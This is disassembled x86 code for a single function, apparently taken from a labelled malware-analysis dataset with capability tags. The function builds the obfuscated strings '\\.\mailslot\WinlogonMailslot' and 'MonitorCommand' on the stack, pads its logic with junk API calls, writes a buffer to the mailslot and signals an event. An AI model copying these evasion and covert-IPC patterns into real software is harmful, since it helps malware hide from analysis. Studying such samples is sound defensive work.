Function at 0x100075b0
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push ebx
push esi
push edi
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x1c]
xor ebx, ebx
push eax
mov byte [ebp - 1], bl
call fcn.10006738
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
pop ecx
pop ecx
push ebx
call esi
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
je 0x100075e9
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x120], 0x5c
mov byte [ebp - 0x11f], 0x5c
mov byte [ebp - 0x11e], 0x2e
call esi
test eax, eax
je 0x1000761a
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x11d], 0x5c
mov byte [ebp - 0x11c], 0x6d
mov byte [ebp - 0x11b], 0x61
mov byte [ebp - 0x11a], 0x69
mov byte [ebp - 0x119], 0x6c
call esi
test eax, eax
je 0x10007659
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x118], 0x73
mov byte [ebp - 0x117], 0x6c
mov byte [ebp - 0x116], 0x6f
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x5c
mov byte [ebp - 0x113], 0x57
mov byte [ebp - 0x112], 0x69
mov byte [ebp - 0x111], 0x6e
call esi
test eax, eax
je 0x100076ad
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x110], 0x6c
mov byte [ebp - 0x10f], 0x6f
mov byte [ebp - 0x10e], 0x67
mov byte [ebp - 0x10d], 0x6f
call esi
test eax, eax
je 0x100076e5
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x10c], 0x6e
mov byte [ebp - 0x10b], 0x4d
mov byte [ebp - 0x10a], 0x61
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6c
call esi
test eax, eax
je 0x10007724
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
push ebx
push 3
lea eax, [ebp - 0x1c]
push eax
push 1
push 0x40000000
lea eax, [ebp - 0x120]
push eax
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x6f
mov byte [ebp - 0x104], 0x74
mov byte [ebp - 0x103], bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x10007912
push ebx
call esi
test eax, eax
je 0x1000778a
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x224], 0x4d
mov byte [ebp - 0x223], 0x6f
mov byte [ebp - 0x222], 0x6e
mov byte [ebp - 0x221], 0x69
mov byte [ebp - 0x220], 0x74
call esi
test eax, eax
je 0x100077c9
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x21f], 0x6f
mov byte [ebp - 0x21e], 0x72
mov byte [ebp - 0x21d], 0x43
call esi
test eax, eax
je 0x100077fa
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
mov byte [ebp - 0x21c], 0x6f
mov byte [ebp - 0x21b], 0x6d
mov byte [ebp - 0x21a], 0x6d
mov byte [ebp - 0x219], 0x61
mov byte [ebp - 0x218], 0x6e
mov byte [ebp - 0x217], 0x64
mov byte [ebp - 0x216], bl
call esi
test eax, eax
je 0x10007846
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
lea eax, [ebp - 0x224]
push eax
call fcn.100067d2
pop ecx
push ebx
mov dword [ebp - 8], eax
call esi
test eax, eax
je 0x10007872
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
cmp dword [ebp - 8], ebx
je 0x100078ed
push ebx
call esi
test eax, eax
je 0x10007893
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x10c
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
test eax, eax
je 0x100078d7
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
mov byte [ebp - 1], 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
test eax, eax
je 0x10007900
push ebx
call edi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
push ebx
call edi
push ebx
call esi
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret